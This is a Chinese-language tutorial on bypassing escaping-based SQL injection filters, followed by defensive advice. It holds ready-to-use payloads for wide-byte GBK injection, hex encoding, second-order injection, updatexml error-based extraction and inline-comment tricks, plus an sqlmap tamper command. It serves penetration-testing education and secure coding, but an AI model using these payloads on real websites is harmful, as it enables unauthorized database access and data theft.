突破SQL注入字符转义的实战指南：绕过技巧与防御策略
在渗透测试中，SQL注入始终是Web安全的重点攻击手段。然而，当开发者对用户输入的特殊字符（如单引号、反斜杠）进行转义时，传统的注入方式往往会失效。本文将深入探讨如何绕过字符转义限制，并给出防御建议。
目录
一、为什么字符转义难以彻底防御？
二、绕过字符转义的6种核心技巧
1. 数字型注入：无需引号的攻击
2. 编码/十六进制绕过
3. 宽字节注入（GBK/GB2312字符集）
4. 二次注入：延迟触发的隐蔽攻击
5. 报错注入：利用数据库报错信息
6. 注释符干扰语法
三、自动化工具辅助攻击
SQLMap Tamper脚本
四、防御建议：从开发层面根治
1. 预编译语句（Prepared Statements）
2. 严格输入类型校验
3. 统一字符集
4. 最小化错误信息暴露
五、总结
一、为什么字符转义难以彻底防御？
开发者常通过以下方式过滤输入：
$input = addslashes($_GET['id']); // 转义单引号、双引号等但攻击者仍可通过以下思路突破限制：
- 利用数字型注入（无需闭合引号）
- 编码或函数替代（绕过字符串检测）
- 字符集特性（如GBK宽字节注入）
- 二次注入（存储时转义但使用时未转义）
二、绕过字符转义的6种核心技巧
1. 数字型注入：无需引号的攻击
场景：参数为纯数字（如/news.php?id=1）
Payload示例：
id=1 AND 1=2 UNION SELECT 1,version(),3-- 关键点：直接构造逻辑判断或联合查询，避免使用引号。
2. 编码/十六进制绕过
适用场景：转义函数未过滤编码格式
MySQL示例：
SELECT 0x61646D696E; -- 等价于 'admin'Oracle示例：
SELECT CHR(97)||CHR(98) FROM DUAL; -- 输出 'ab'3. 宽字节注入（GBK/GB2312字符集）
原理：利用数据库字符集的“吞反斜杠”特性。
攻击步骤：
- 构造Payload：
id=1%df%27 - 服务器转义后：
%df%5c%27（%5c为反斜杠） - GBK解码：
%df%5c→ 汉字“運”，%27→ 单引号，最终闭合语句。
4. 二次注入：延迟触发的隐蔽攻击
经典案例：用户注册时存储转义数据，使用时触发注入。
攻击流程：
- 注册用户名为
admin'--（存储为admin\'--） - 修改密码时执行SQL：
UPDATE users SET password='[new]' WHERE username='admin'-- ';--注释后续语句，直接修改admin密码。
5. 报错注入：利用数据库报错信息
MySQL示例（无需闭合引号）：
id=1' AND updatexml(1,CONCAT(0x7e,version()),1)-- 结果：报错信息中返回数据库版本：
XPATH syntax error: '~5.7.26'6. 注释符干扰语法
绕过技巧：使用内联注释破坏原有SQL结构
Payload示例：
id=1'/*!AND*/'1'='1解析效果：
SELECT * FROM articles WHERE id='1'/*!AND*/'1'='1';注释符/*!...*/在MySQL中会被执行，干扰语法解析。
三、自动化工具辅助攻击
SQLMap Tamper脚本
常用脚本：
charencode.py：对Payload进行URL编码gbk.py：自动生成宽字节Payload
使用示例：
sqlmap -u "http://example.com?id=1" --tamper=gbk四、防御建议：从开发层面根治
1. 预编译语句（Prepared Statements）
Java示例：
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setInt(1, userId); // 杜绝拼接2. 严格输入类型校验
$id = intval($_GET['id']); // 强制转换为整数3. 统一字符集
<meta charset="UTF-8"> <!-- 避免宽字节注入 -->4. 最小化错误信息暴露
# Nginx配置：隐藏数据库错误
fastcgi_intercept_errors on;
error_page 500 /custom_500.html;五、总结
绕过字符转义的核心思路是灵活利用数据库特性和协议层的“非预期行为”。攻击者可能通过编码、二次注入甚至WAF规则绕过实现突破，而开发者需从预编译语句、输入校验等层面构建多层防御。
相关文章：
突破SQL注入字符转义的实战指南：绕过技巧与防御策略
在渗透测试中，SQL注入始终是Web安全的重点攻击手段。然而，当开发者对用户输入的特殊字符（如单引号、反斜杠）进行转义时，传统的注入方式往往会失效。本文将深入探讨如何绕过字符转义限制，并给出防御建议。 目…...
java网络原理5
一、网络地址转换（NAT） 1. 原理 - NAT 用于解决 IP 地址不够用的问题 ，将 IP 地址分为外网 IP（公网 IP）和内网 IP（私网 IP）。内网 IP 如 10.、172.16 - 172.31.、192.168.* 等，家用…...
一种基于光源评估并加权平均的自动白平衡方法（一）
在之前的博文如何在白平衡标定种构建不同类型的白平衡色温坐标系作为实例说明的白平衡色温坐标系的构建中，利用的如下映射矩阵构建色温坐标系： 按照上述论文的说明，是不能直接把Raw域中的每块的RGB带入公式...
基于Docker Compose的Prometheus监控系统一键部署方案
前言 在当今的云原生时代，系统监控已经成为保障业务稳定运行的重要基石。本文旨在提供一个完整的解决方案，帮助您快速搭建一个功能强大的监控系统。通过Docker Compose实现一键部署，结合Prometheus、Grafana、cAdvisor和node-exporter等优秀开源工具，构建一个完整的监控体…...
服务器丢包率测试保姆级教程：从Ping到网络打流仪实战
测试服务器丢包率是网络性能诊断的重要环节，丢包通常由网络拥塞、硬件故障、配置错误或线路质量差导致。以下是多种测试方法的详细步骤和工具说明： 一、基础工具测试（无需专业设备） 1. 使用 ping 命令 命令示例： bash…...
家庭服务器IPV6搭建无限邮箱系统指南
qq邮箱操作 // 邮箱配置信息 // 注意：使用QQ邮箱需要先开启IMAP服务并获取授权码 // 设置方法：登录QQ邮箱 -> 设置 -> 账户 -> 开启IMAP/SMTP服务 -> 生成授权码 服务器操作 fetchmail 同步QQ邮箱 nginx搭建web显示本地同步过来的邮箱 ssh…...
Ubuntu ZLMediakit的标准配置文件（rtsp-＞rtmp-＞hls）
最近在工作中遇到不生成hls资源的问题，后面发现是配置文件有误，特此记录正确的config.ini配置文件，方便查阅。 最终解决方案，通过下面这种格式可以访问到flv视频，具体为什么不太清楚，rtmp格式：rtmp://39.113.48.113:8089/live/1744168516937396175 记录最终解决方案：ht…...
Android 移动开发：ProgressBar（转圈进度条）
目录 Android 移动开发：ProgressBar（转圈进度条）控件实战介绍 📂 文件说明 🧾 activity_main.xml（布局文件，XML） 🧾 MainActivity.java（逻辑代码…...
CSS：选择器-复合选择器
文章目录 1、交集选择器 1、交集选择器 <style>/* 选中类名为rich的元素*/.rich {color: gold;}/* 选中类名为beauty的元素*/.beauty {color: red;}/* 选中类名为beauty的p元素，这种形式（元素配合类选择器）以后用的很多！&am…...
Kafka-可视化工具-Offset Explorer
安装： 下载地址：Offset Explorer 安装好后如图： 1、下载安装完毕，进行新增连接，启动offsetexplorer.exe，在Add Cluster窗口Properties 选项下填写Cluster name 和 kafka Cluster Version Cluster name (集…...
在pycharm中创建Django项目并启动
Django介绍 Django 是一个基于 Python 的开源 Web 应用框架，采用了 MTV（Model - Template - View）软件设计模式 ，由许多功能强大的组件组成，能够帮助开发者快速、高效地创建复杂的数据库驱动的 Web 应用程序。它具有以…...
私有知识库 Coco AI 实战（六）：打造 ES Mapping 小助手
开发同学可能经常和字段类型打交道，数据类型本来就不少，新版本可能还有新的数据类型。更重要的是新的字段类型可能会提升某个场景的性能，不知道的话可就亏大发了。所以我们继续打造一个 ES Mapping 小助手。 克隆小助手 我们进入 Coco Serv…...
JavaScript性能优化实战之代码层面性能优化
在前端开发中，JavaScript 的性能直接影响到网站的加载速度、用户体验和交互流畅度。针对代码层面的优化，我们可以从多个方面入手，确保每一行代码都能最大化地发挥效能。接下来，我们将细化并解释每一个优化点。 1️⃣ 避免全局变量污染 全局变量会被整个 JavaScript 代码所…...
基于C++的IOT网关和平台2：github项目ctGateway技术说明书
初级代码游戏的专栏介绍与文章目录-CSDN博客 我的github：codetoys，所有代码都将会位于ctfc库中。已经放入库中我会指出在库中的位置。 这些代码大部分以Linux为目标但部分代码是纯C++的，可以在任何平台上使用。 源码指引：github源码指引_初级代码游戏的博客-CSDN博客 …...
前端基础之《Vue（13）—重要API》
重要的API 一、nextTick() 1、写法 Vue.$nextTick()或者this.$nextTick() 原因： set操作代码是同步的，但是代码背后的行为是异步的。set操作修改声明式变量，触发re-render生成新的虚拟DOM，进一步执行diff运算，找到…...
Python爬虫实战：获取彼岸网高清素材图片
一、引言 在数字化时代，图片素材的需求持续增长。彼岸网提供了丰富的高质量图片资源，其中 4K 风景图片备受用户青睐。借助 Python 爬虫技术，可自动化地从彼岸网获取这些图片，为用户提供便捷的图片素材服务。然而，爬取过程中会遭遇登录验证、反爬机制等问题，需采用相应技…...
拥抱 Kotlin Flow
1. 引言 Kotlin Flow 是 Kotlin 协程生态中处理异步数据流的核心工具，它提供了一种声明式、轻量级且与协程深度集成的响应式编程模型。与传统的 RxJava 相比，Flow 更简洁、更易于维护，尤其在 Android 开发中已成为主流选择。本文将从基础概念…...
winget使用
Get-Command winget winget search qq winget install Tencent.QQ.NT...
C++从入门到实战（十一）详细讲解C/C++语言中内存分布与C与C++内存管理对比
C从入门到实战（十一）详细讲解C/C语言中内存分布与C与C内存管理对比 前言一、C/C语言中内存分布1.内核空间2.栈3.堆4.数据段5.代码段 二、例题带练巩固C/C语言中内存分布的知识题目讲解题目答案 三、C语言动态内存分配（知识回顾）3.…...
flutter 专题 一百零四 Flutter环境搭建
Flutter简介 Flutter 是Google开发的一个移动跨平台（Android 和 iOS）的开发框架，使用的是 Dart 语言。和 React Native 不同的是，Flutter 框架并不是一个严格意义上的原生应用开发框架。Flutter 的目标是用来创建高性能、高稳定性…...
傅里叶与相位偏移
一、简介 大三的《离散数学》。。。。。 傅里叶变换是数学与工程领域的一项革命性工具，其核心思想是将复杂信号分解为简单正弦波的叠加，实现从时域（时间维度）到频域（频率维度）的转换。通过这种变换&#x…...
Godot笔记：入门索引
文章目录 前言游戏引擎软件界面关键概念GDScript导出成品创建非游戏应用后记 前言 最近对游戏引擎这块感兴趣，特别是因为游戏引擎自带的很多工具，作为图形化软件的开发应该也不错。 Godot 是一款这几年比较流行的开源游戏引擎。这里记录下入门学习使用 …...
OpenCV实战教程 第一部分：基础入门
第一部分：基础入门 1. OpenCV简介 什么是OpenCV及其应用领域 OpenCV（Open Source Computer Vision Library）是一个开源的计算机视觉和机器学习软件库，于1999年由Intel公司发起，现在由非营利组织OpenCV.org维护。Ope…...
)
OpenCV 图像处理核心技术 (第二部分)
欢迎来到 OpenCV 图像处理的第二部分！在第一部分，我们学习了如何加载、显示、保存图像以及访问像素等基础知识。现在，我们将深入探索如何利用 OpenCV 提供的强大工具来修改和分析图像。 图像处理是计算机视觉领域的基石。通过对图像进行各种…...
Git从入门到精通-第二章-工具配置
目录 命令行 安装Git 初次运行Git前的配置 git config基本概念 常用命令 配置用户信息 配置文本编辑器 查看配置 配置别名（简化命令） 高级配置 换行符处理（方便跨平台协作） 忽略文件权限变更（常用于团队协…...
树状结构转换工具类
项目中使用了很多树状结构，为了方便使用开发一个通用的工具类。 使用工具类的时候写一个类基础BaseNode，如果有个性化字段添加到类里面，然后就可以套用工具类。 工具类会将id和pid做关联返回一个树状结构的集合。 使用了hutool的工具包判空…...
C#基础简述
C#基础详解 一、C#语言概述 C#（读作"C Sharp"）是微软开发的面向对象的编程语言，运行在.NET平台上。它结合了C的强大功能和Visual Basic的简单性，具有以下特点： 面向对象：支持封装、继…...
AI赋能烟草工艺革命：虫情监测步入智能化时代
在当今竞争激烈且品质至上的烟草行业中，生产流程的每一个细微环节都关乎着企业的生死存亡与品牌的兴衰荣辱。烟草工艺部门与制丝、卷包车间作为生产链条的核心驱动，犹如精密仪器中的关键齿轮，彼此紧密咬合、协同运转，任何一处的小…...
小刚说C语言刷题—1462小明的游泳时间
1.题目描述 伦敦奥运会要到了，小明在拼命练习游泳准备参加游泳比赛。 这一天，小明给自己的游泳时间做了精确的计时（本题中的计时都按 24 小时制计算），它发现自己从 a 时 b 分一直游泳到当天的 c 时 d 分。 请你帮小…...
StarRocks Lakehouse 如何重构大数据架构？
随着数据分析需求的不断演进，企业对数据处理架构的期望也在不断提升。在这一背景下，StarRocks 凭借其高性能的实时分析能力，正引领数据分析进入湖仓一体的新时代。 4 月 18 日，镜舟科技高级技术专家单菁茹做客开源中国直播栏目《…...
用TCP实现服务器与客户端的交互
引言： 这篇文章主要是用TCP构造的回显服务器，也就是客户端发什么，就返回什么。用实现这个过程方式来学会TCP套接字的使用。 一、TCP的特点 TCP是可靠的：这个需要去了解TCP的机制，这是一个大工程，博主后面写…...
用于实时辐射场渲染的3D高斯溅射——3D Gaussian Splatting for Real-Time Radiance Field Rendering
用于实时辐射场渲染的3D高斯溅射——3D Gaussian Splatting for Real-Time Radiance Field Rendering 文章目录 用于实时辐射场渲染的3D高斯溅射——3D Gaussian Splatting for Real-Time Radiance Field Rendering摘要Abstract1. 预备知识1.1 三维的几何表示1.2 计算机中的集合…...
Vue3 Echarts 3D立方体柱状图实现教程
文章目录 前言一、实现原理二、series ——type: "pictorialBar" 简介2.1 常用属性 三、代码实战3.1 封装一个echarts通用组件 echarts.vue3.2 实现一个立方体柱状图（1）首先实现一个基础柱状图（2）添加立方体棱线&#x…...
Soildworks怎样在装配体中建立局部剖视图
1思路：建立拉伸切除 2步骤 1-打开点线面显示按钮 2-在装配体中依据某个基准面（例如前视基准面）建立一个待切除的草图 3-点击顶部工具栏的装配体--->装嫩配体特征---->拉伸切除---Ok 3具体图示 1-点击，使其变成灰色 即…...
基于C++的IOT网关和平台5：github项目ctGateway开发指南
初级代码游戏的专栏介绍与文章目录-CSDN博客 我的github：codetoys，所有代码都将会位于ctfc库中。已经放入库中我会指出在库中的位置。 这些代码大部分以Linux为目标但部分代码是纯C++的，可以在任何平台上使用。 源码指引：github源码指引_初级代码游戏的博客-CSDN博客 …...
虚拟机centos7安装docker
虚拟机CentOS 7上安装 Docker流程 1. 更新系统软件包 需要确保系统软件包是最新的 sudo yum -y update sudo：以超级用户权限执行命令。 yum：CentOS的包管理器工具。 -y：自动确认所有提示，直接执行。 2. 安装 Docker 依赖 在安装 …...
11.Spring Boot 3.1.5 中使用 SpringDoc OpenAPI（替代 Swagger）生成 API 文档
Spring Boot 3.1.5 中使用 SpringDoc OpenAPI（替代 Swagger）生成 API 文档 1. 项目结构 假设项目名为 springboot-openapi-demo，以下是项目的基本结构： springboot-openapi-demo/ ├── src/ │ ├── main/ │ │ ├─…...
pytorch对应gpu版本是否可用判断逻辑
# gpu_is_ok.py import torchdef check_torch_gpu():# 打印PyTorch版本print(f"PyTorch version: {torch.__version__}")# 检查CUDA是否可用cuda_available torch.cuda.is_available()print(f"CUDA available: {cuda_available}")if cuda_available:# 打印…...
Kubernetes 集群概念详解
Kubernetes 集群概念详解 Kubernetes 集群是由多个计算节点组成的容器编排系统，用于自动化部署、扩展和管理容器化应用。以下是 Kubernetes 集群的核心概念和架构解析： 一、集群基础架构 1. 集群组成要素 graph TBMaster[控制平面] --> Node1[工作…...
BT137-ASEMI机器人功率器件专用BT137
编辑：LL BT137-ASEMI机器人功率器件专用BT137 型号：BT137 品牌：ASEMI 封装：TO-220F 批号：最新 引脚数量：3 封装尺寸：如图 特性：双向可控硅 工作结温：-40℃~150℃…...
ArcGIS+GPT：多领域地理分析与决策新方案
技术点目录 AI大模型应用ArcGIS工作流程及功能prompt的使用技巧AI助力工作流程AI助力数据读取AI助力数据编辑与处理AI助力空间分析AI助力遥感分析AI助力二次开发AI助力科研绘图ArcGISAI综合应用了解更多 ——————————————————————————————————…...
和鸿蒙arktsrequest.uploadFile)
鸿蒙文件上传-从前端到后端详解，对比jq请求和鸿蒙arkts请求区别，对比new FormData()和鸿蒙arktsrequest.uploadFile
需要权限：ohos.permission.INTERNET 1.nodejs自定义书写上传后端接口 传输过来的数据放在files?.image下 router.post(/upload,(req, res) > {var form new multiparty.Form();form.uploadDirpublic/images/uploads; //上传图片保存的地址(目录必须存在)fo…...
【DBeaver】如何连接MongoDB
MongoDB驱动 在 DBeaver 社区版是没有的，得自己下载 一、下载mongo-jdbc-standalone.jar 二、在工具栏找到数据库，选择驱动管理器 三、在驱动管理器点击新建 四、选择库，添加mongo-jdbc-standalone.jar;然后点击找到类 五、选择设置&#x…...
Unity 粒子同步，FishNet
Github的工程 同步画面 使用FishNet插件同步，可使用这个选项来克隆第二个项目进行测试...
自然语言处理之命名实体识别：Bi-LSTM-CRF模型的评估与性能分析
命名实体识别（Named Entity Recognition, NER）是自然语言处理（NLP）的核心任务之一，旨在从文本中识别出具有特定意义的实体（如人名、地名、机构名等），并为其分类。随着深度学习的发展，**Bi-LSTM-CRF**（双向长短期记忆网络结合条件随机场）模型因其强大的序列建模能力成…...
【SpringBoot】基于mybatisPlus的博客系统
1.实现用户登录 在之前的项目登录中，我使用的是Session传递用户信息实现校验登录 现在学习了Jwt令牌技术后我尝试用Jwt来完成校验工作 Jwt令牌 令牌一词在网络编程一节我就有所耳闻，现在又拾了起来。 这里讲应用：令牌也就用于身份标识&a…...
[Android]任务列表中有两个相机图标
现象： 修改AndroidManifest.xml <activityandroid:name"com.android.camera.PermissionsActivity"android:label"string/app_name"android:launchMode"singleTop"android:configChanges"orientation|screenSize|keyboardH…...
VINS-FUSION：配置参数说明与配置自己的参数
文章目录 📚简介📍配置文件说明📷相机配置参数🔧设备参数🎯配置自己的参数📷相机参数🔧设备参数📚简介 VINS-Fusion 是一个基于优化的多传感器状态估计器，实现了视觉惯性里程计(VIO)和视觉惯性全球导航卫星系统(VI-GNSS)融合。 📍配置文件说明 VINS-Fus…...
Polars: 新一代高性能数据处理库
<------最重要的是订阅“鲁班模锤”------> 在数据科学和数据分析领域，性能和效率一直是从业者关注的焦点。随着数据量的爆炸式增长，传统的数据处理工具如pandas在处理大规模数据时逐渐显露出其局限性。在这样的背景下，一个名为Polars…...
大屏/门户页面兼容各种分辨率或电脑缩放
需求要求: 需要支持缩放功能(缩放后 页面各元素模块正常展示)、 需要适配各种分辨率(初始加载不应出现横向滚动条) 选择的实现方案 利用 zoom 或者 transform 来缩放兼容页面样式，不动业务模块代码 const isMobile /iPhone|iPad|iPod|Android|Harmony/i.test(navi…...